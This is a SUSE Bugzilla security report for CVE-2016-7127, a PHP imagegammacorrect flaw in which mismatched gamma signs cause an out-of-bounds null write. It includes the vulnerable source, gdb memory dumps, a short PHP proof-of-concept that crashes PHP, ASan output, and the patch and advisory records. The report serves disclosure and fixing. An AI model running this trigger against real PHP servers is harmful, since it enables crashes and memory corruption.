Bugzilla – Bug 997210
VUL-0: CVE-2016-7127: php7: imagegammacorrect allows arbitrary write access
Last modified: 2019-06-16 14:38:40 UTC
------------ Description: ------------ imagegammacorrect accepts two gamma values, if they don't have the same sign then the palette colors will be assigned values bigger than 0xFF, later this values are used to calculate the transparent color using the gdTrueColorAlpha macro, and a negative value will be assigned to the transparent color. This negative value is used as an index and allows writing an arbitrary null, similar to bug #72512 This doesn't affect libgd upstream, gamma correction is only implemented in PHP. Possible fix ------------ Don't accept negative values on imagegammacorrect Details ------- Source code: https://github.com/php/php-src/blob/master/ext/gd/gd.c#L3024 PHP_FUNCTION(imagegammacorrect) { zval *IM; gdImagePtr im; int i; double input, output; if (zend_parse_parameters(ZEND_NUM_ARGS(), "rdd", &IM, &input, &output) == FAILURE) { return; } if ((im = (gdImagePtr)zend_fetch_resource(Z_RES_P(IM), "Image", le_gd)) == NULL) { RETURN_FALSE; } if (gdImageTrueColor(im)) { int x, y, c; for (y = 0; y < gdImageSY(im); y++) { for (x = 0; x < gdImageSX(im); x++) { c = gdImageGetPixel(im, x, y); gdImageSetPixel(im, x, y, gdTrueColorAlpha( (int) ((pow((pow((gdTrueColorGetRed(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetGreen(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetBlue(c) / 255.0), input)), 1.0 / output) * 255) + .5), gdTrueColorGetAlpha(c) ) ); } } RETURN_TRUE; } for (i = 0; i < gdImageColorsTotal(im); i++) { im->red[i] = (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->green[i] = (int)((pow((pow((im->green[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->blue[i] = (int)((pow((pow((im->blue[i] / 255.0), input)), 1.0 / output) * 255) + .5); } RETURN_TRUE; } The line that calculates the rgb values generates a value bigger than 255, let's analyze red for example: im->red[i] = (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); This formula is: [[r/255] ^ input ] ^ (1 / output) [r/255] ^ (input / output) If one of these two is negatives then it becomes: [255/r] ^ (input / output) We control r, input and output, and we can make the new value bigger than 255. GDB output ---------- Before imagegamacorrect: Breakpoint 5, gdImageTrueColorToPaletteBody (oim=0x7fffef678000, dither=<optimized out>, colorsWanted=<optimized out>, cimP=0x0) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:2015 2015 oim->tpixels = 0; gdb-peda$ p *oim $2 = { pixels = 0x7fffef6730f0, sx = 0x1, sy = 0x1, colorsTotal = 0x2, red = {0x4, 0xb, 0x0 <repeats 254 times>}, green = {0x2, 0xc, 0x0 <repeats 254 times>}, blue = {0x4, 0xd, 0x0 <repeats 254 times>}, open = {0x0 <repeats 256 times>}, transparent = 0x1, polyInts = 0x0, polyAllocated = 0x0, brush = 0x0, tile = 0x0, brushColorMap = {0x0 <repeats 256 times>}, tileColorMap = {0x0 <repeats 256 times>}, styleLength = 0x0, stylePos = 0x0, style = 0x0, interlace = 0x0, thick = 0x1, alpha = {0x0, 0x7f, 0x0 <repeats 254 times>}, trueColor = 0x0, tpixels = 0x7fffef673050, alphaBlendingFlag = 0x1, antialias = 0x0, saveAlphaFlag = 0x0, AA = 0x0, AA_color = 0x0, AA_dont_blend = 0x0, AA_opacity = 0x7fffef673078, AA_polygon = 0x0, AAL_x1 = 0x0, AAL_y1 = 0x0, AAL_x2 = 0x0, AAL_y2 = 0x0, AAL_Bx_Ax = 0x0, AAL_By_Ay = 0x0, AAL_LAB_2 = 0x0, AAL_LAB = 0, cx1 = 0x0, cy1 = 0x0, cx2 = 0x0, cy2 = 0x0, interpolation_id = GD_BILINEAR_FIXED, interpolation = 0x0 } gdb-peda$ c After gammacorrect: Breakpoint 3, gdImagePaletteToTrueColor (src=0x7fffef678000) at /home/operac/php-70/ext/gd/libgd/gd.c:3107 3107 if (src == NULL) { gdb-peda$ p *src $3 = { pixels = 0x7fffef6730f0, sx = 0x1, sy = 0x1, colorsTotal = 0x2, red = {0x100, 0x100, 0x0 <repeats 254 times>}, // colors palette > 0xff green = {0x100, 0x100, 0x0 <repeats 254 times>}, blue = {0x100, 0x100, 0x0 <repeats 254 times>}, open = {0x0 <repeats 256 times>}, transparent = 0x1, polyInts = 0x0, polyAllocated = 0x0, brush = 0x0, tile = 0x0, brushColorMap = {0x0 <repeats 256 times>}, tileColorMap = {0x0 <repeats 256 times>}, styleLength = 0x0, stylePos = 0x0, style = 0x0, interlace = 0x0, thick = 0x1, alpha = {0x0, 0x7f, 0x0 <repeats 254 times>}, trueColor = 0x0, tpixels = 0x0, alphaBlendingFlag = 0x1, antialias = 0x0, saveAlphaFlag = 0x0, AA = 0x0, AA_color = 0x0, AA_dont_blend = 0x0, AA_opacity = 0x7fffef673078, AA_polygon = 0x0, AAL_x1 = 0x0, AAL_y1 = 0x0, AAL_x2 = 0x0, AAL_y2 = 0x0, AAL_Bx_Ax = 0x0, AAL_By_Ay = 0x0, AAL_LAB_2 = 0x0, AAL_LAB = 0, cx1 = 0x0, cy1 = 0x0, cx2 = 0x0, cy2 = 0x0, interpolation_id = GD_BILINEAR_FIXED, interpolation = 0x0 } ... After imagepalettetotruecolor: Breakpoint 4, php_gd_gdImageTrueColorToPalette (im=0x7fffef678000, dither=0x1, colorsWanted=0xa) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:1767 1767 { gdb-peda$ p *im $4 = { pixels = 0x0, sx = 0x1, sy = 0x1, colorsTotal = 0x2, red = {0x100, 0x100, 0x0 <repeats 254 times>}, green = {0x100, 0x100, 0x0 <repeats 254 times>}, blue = {0x100, 0x100, 0x0 <repeats 254 times>}, open = {0x0 <repeats 256 times>}, transparent = 0x80010100, // transparent > 0x7fffffff (negative) polyInts = 0x0, polyAllocated = 0x0, brush = 0x0, tile = 0x0, brushColorMap = {0x0 <repeats 256 times>}, tileColorMap = {0x0 <repeats 256 times>}, styleLength = 0x0, stylePos = 0x0, style = 0x0, interlace = 0x0, thick = 0x1, alpha = {0x0, 0x7f, 0x0 <repeats 254 times>}, trueColor = 0x1, tpixels = 0x7fffef673050, alphaBlendingFlag = 0x0, antialias = 0x0, saveAlphaFlag = 0x1, AA = 0x0, AA_color = 0x0, AA_dont_blend = 0x0, AA_opacity = 0x7fffef673078, AA_polygon = 0x0, AAL_x1 = 0x0, AAL_y1 = 0x0, AAL_x2 = 0x0, AAL_y2 = 0x0, AAL_Bx_Ax = 0x0, AAL_By_Ay = 0x0, AAL_LAB_2 = 0x0, AAL_LAB = 0, cx1 = 0x0, cy1 = 0x0, cx2 = 0x0, cy2 = 0x0, interpolation_id = GD_BILINEAR_FIXED, interpolation = 0x0 } gdb-peda$ p/d im->transparent $6 = -2147417856 ----------------------------------------- ... https://github.com/php/php-src/blob/dda0ea9b3af0c392be8d850ccdbe8a1bfa2badb6/ext/gd/libgd/gd.c#L3155 int gdImagePaletteToTrueColor(gdImagePtr src) { ... if (src->transparent >= 0) { const unsigned char c = src->transparent; src->transparent = gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]); } ... https://github.com/php/php-src/blob/1c295d4a9ac78fcc2f77d6695987598bb7abcb83/ext/gd/libgd/gd.h#L541 #define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + \ ((r) << 16) + \ ((g) << 8) + \ (b)) 7f000000 alpha 1000000 red 10000 green 100 blue ----------------- 80010100 This is the negative color that was assigned to transparent. Test script: --------------- <?php $img = imagecreatetruecolor(1, 1); imagecolortransparent($img, 0x0a0b0c0d); # if color >= 0 -> img->transparent = 0x0a0b0c0d imagetruecolortopalette($img, true, 10); # if transparent >=0 -> r[i]=0x0b g[i]=0x0c b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f); img->transparent = i imagegammacorrect($img, -1, 1337); # rgb becomes negative => (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); imagepalettetotruecolor($img); # if transparent >=0 const unsigned char c = src->transparent; src->transparent = gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]); imagetruecolortopalette($img, true, 10); # if transparent >=0 => r[i]=0x0b g[i]=0x0c b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f); img->transparent = i imagecolortransparent($img, 0); # if color >=0 && color < colorsTotal => im->alpha[im->transparent] = gdAlphaOpaque (0x0); Expected result: ---------------- No crash Actual result: -------------- ASan output: ASAN:SIGSEGV ================================================================= ==7112==ERROR: AddressSanitizer: SEGV on unknown address 0x7f96b96b9c50 (pc 0x00000098c960 bp 0x7ffcb18d91e0 sp 0x7ffcb18d91e0 T0) #0 0x98c95f in php_gd_gdImageColorTransparent /home/operac/php-70/ext/gd/libgd/gd.c:609 #1 0x95b50c in zif_imagecolortransparent /home/operac/php-70/ext/gd/gd.c:3311 #2 0x1da38da in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/php-70/Zend/zend_vm_execute.h:586 #3 0x1b4c335 in execute_ex /home/operac/php-70/Zend/zend_vm_execute.h:414 #4 0x1df9dc8 in zend_execute /home/operac/php-70/Zend/zend_vm_execute.h:458 #5 0x194764a in zend_execute_scripts /home/operac/php-70/Zend/zend.c:1427 #6 0x16b8347 in php_execute_script /home/operac/php-70/main/main.c:2494 #7 0x1e02126 in do_cli /home/operac/php-70/sapi/cli/php_cli.c:974 #8 0x467378 in main /home/operac/php-70/sapi/cli/php_cli.c:1344 #9 0x7f98bf19382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x467a48 in _start (/ramdisk/php-fuzz/phuzzer/php-70/sapi/cli/php+0x467a48) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/operac/php-70/ext/gd/libgd/gd.c:609 php_gd_gdImageColorTransparent ==7112==ABORTING References: https://bugs.php.net/bug.php?id=72730 https://github.com/php/php-src/commit/1bd103df00f49cf4d4ade2cfe3f456ac058a4eae?w=1
bugbot adjusting priority
BEFORE The test case above segfaults php reliably for 12sp2/php7 and 12/php5. For the 11sp3/php53 and less, there is no imagepalettetotruecolor() provided. Nevertheless, imagegammacorrect() code is there too, considering affected. AFTER Correct behaviour is: $ php test.php PHP Warning: imagegammacorrect(): Gamma values should be positive in /997210/test.php on line 6 $
Packages submitted.
This is an autogenerated message for OBS integration: This bug (997210) was mentioned in https://build.opensuse.org/request/show/425708 13.2 / php5
An update workflow for this issue was started. This issue was rated as important. Please submit fixed packages until 2016-09-20. When done, reassign the bug to security-team@suse.de. https://swamp.suse.de/webswamp/wf/63038
SUSE-SU-2016:2328-1: An update that fixes 18 vulnerabilities is now available. Category: security (important) Bug References: 987530,991426,991427,991428,991429,991430,991433,991437,997206,997207,997208,997210,997211,997220,997225,997230,997257 CVE References: CVE-2014-3587,CVE-2016-3587,CVE-2016-5399,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132 Sources used: SUSE Linux Enterprise Server 11-SP2-LTSS (src): php53-5.3.17-55.1 SUSE Linux Enterprise Debuginfo 11-SP2 (src): php53-5.3.17-55.1
openSUSE-SU-2016:2337-1: An update that fixes 10 vulnerabilities is now available. Category: security (important) Bug References: 997206,997207,997208,997210,997211,997220,997225,997230,997248,997257 CVE References: CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7134 Sources used: openSUSE 13.2 (src): php5-5.6.1-75.2
SUSE-SU-2016:2408-1: An update that fixes 24 vulnerabilities is now available. Category: security (important) Bug References: 987530,987580,988032,991422,991424,991426,991427,991428,991429,991430,991433,991434,991437,997206,997207,997208,997210,997211,997220,997225,997230,997248,997257 CVE References: CVE-2014-3587,CVE-2016-3587,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7134 Sources used: SUSE Linux Enterprise Software Development Kit 12-SP1 (src): php5-5.5.14-73.1 SUSE Linux Enterprise Module for Web Scripting 12 (src): php5-5.5.14-73.1
openSUSE-SU-2016:2451-1: An update that fixes 24 vulnerabilities is now available. Category: security (important) Bug References: 987530,987580,988032,991422,991424,991426,991427,991428,991429,991430,991433,991434,991437,997206,997207,997208,997210,997211,997220,997225,997230,997248,997257 CVE References: CVE-2014-3587,CVE-2016-3587,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7134 Sources used: openSUSE Leap 42.1 (src): php5-5.5.14-59.1
SUSE-SU-2016:2459-1: An update that fixes 16 vulnerabilities is now available. Category: security (important) Bug References: 997206,997207,997208,997210,997211,997220,997225,997230,997257,999679,999680,999682,999684,999685,999819,999820 CVE References: CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7411,CVE-2016-7412,CVE-2016-7413,CVE-2016-7414,CVE-2016-7416,CVE-2016-7417,CVE-2016-7418 Sources used: SUSE OpenStack Cloud 5 (src): php53-5.3.17-84.1 SUSE Manager Proxy 2.1 (src): php53-5.3.17-84.1 SUSE Manager 2.1 (src): php53-5.3.17-84.1 SUSE Linux Enterprise Software Development Kit 11-SP4 (src): php53-5.3.17-84.1 SUSE Linux Enterprise Server 11-SP4 (src): php53-5.3.17-84.1 SUSE Linux Enterprise Server 11-SP3-LTSS (src): php53-5.3.17-84.1 SUSE Linux Enterprise Point of Sale 11-SP3 (src): php53-5.3.17-84.1 SUSE Linux Enterprise Debuginfo 11-SP4 (src): php53-5.3.17-84.1 SUSE Linux Enterprise Debuginfo 11-SP3 (src): php53-5.3.17-84.1
SUSE-SU-2016:2460-1: An update that solves 29 vulnerabilities and has two fixes is now available. Category: security (important) Bug References: 1001950,987580,988032,991422,991424,991426,991427,991428,991429,991430,991434,991437,995512,997206,997207,997208,997210,997211,997220,997225,997230,997247,997248,997257,999313,999679,999680,999684,999685,999819,999820 CVE References: CVE-2016-4473,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7133,CVE-2016-7134,CVE-2016-7412,CVE-2016-7413,CVE-2016-7414,CVE-2016-7416,CVE-2016-7417,CVE-2016-7418 Sources used: SUSE Linux Enterprise Software Development Kit 12-SP1 (src): php7-7.0.7-15.1 SUSE Linux Enterprise Module for Web Scripting 12 (src): php7-7.0.7-15.1
released
SUSE-SU-2016:2460-2: An update that solves 29 vulnerabilities and has two fixes is now available. Category: security (important) Bug References: 1001950,987580,988032,991422,991424,991426,991427,991428,991429,991430,991434,991437,995512,997206,997207,997208,997210,997211,997220,997225,997230,997247,997248,997257,999313,999679,999680,999684,999685,999819,999820 CVE References: CVE-2016-4473,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7133,CVE-2016-7134,CVE-2016-7412,CVE-2016-7413,CVE-2016-7414,CVE-2016-7416,CVE-2016-7417,CVE-2016-7418 Sources used: SUSE Linux Enterprise Module for Web Scripting 12 (src): php7-7.0.7-15.1
An update workflow for this issue was started. This issue was rated as moderate. Please submit fixed packages until 2017-02-13. When done, reassign the bug to security-team@suse.de. https://swamp.suse.de/webswamp/wf/63367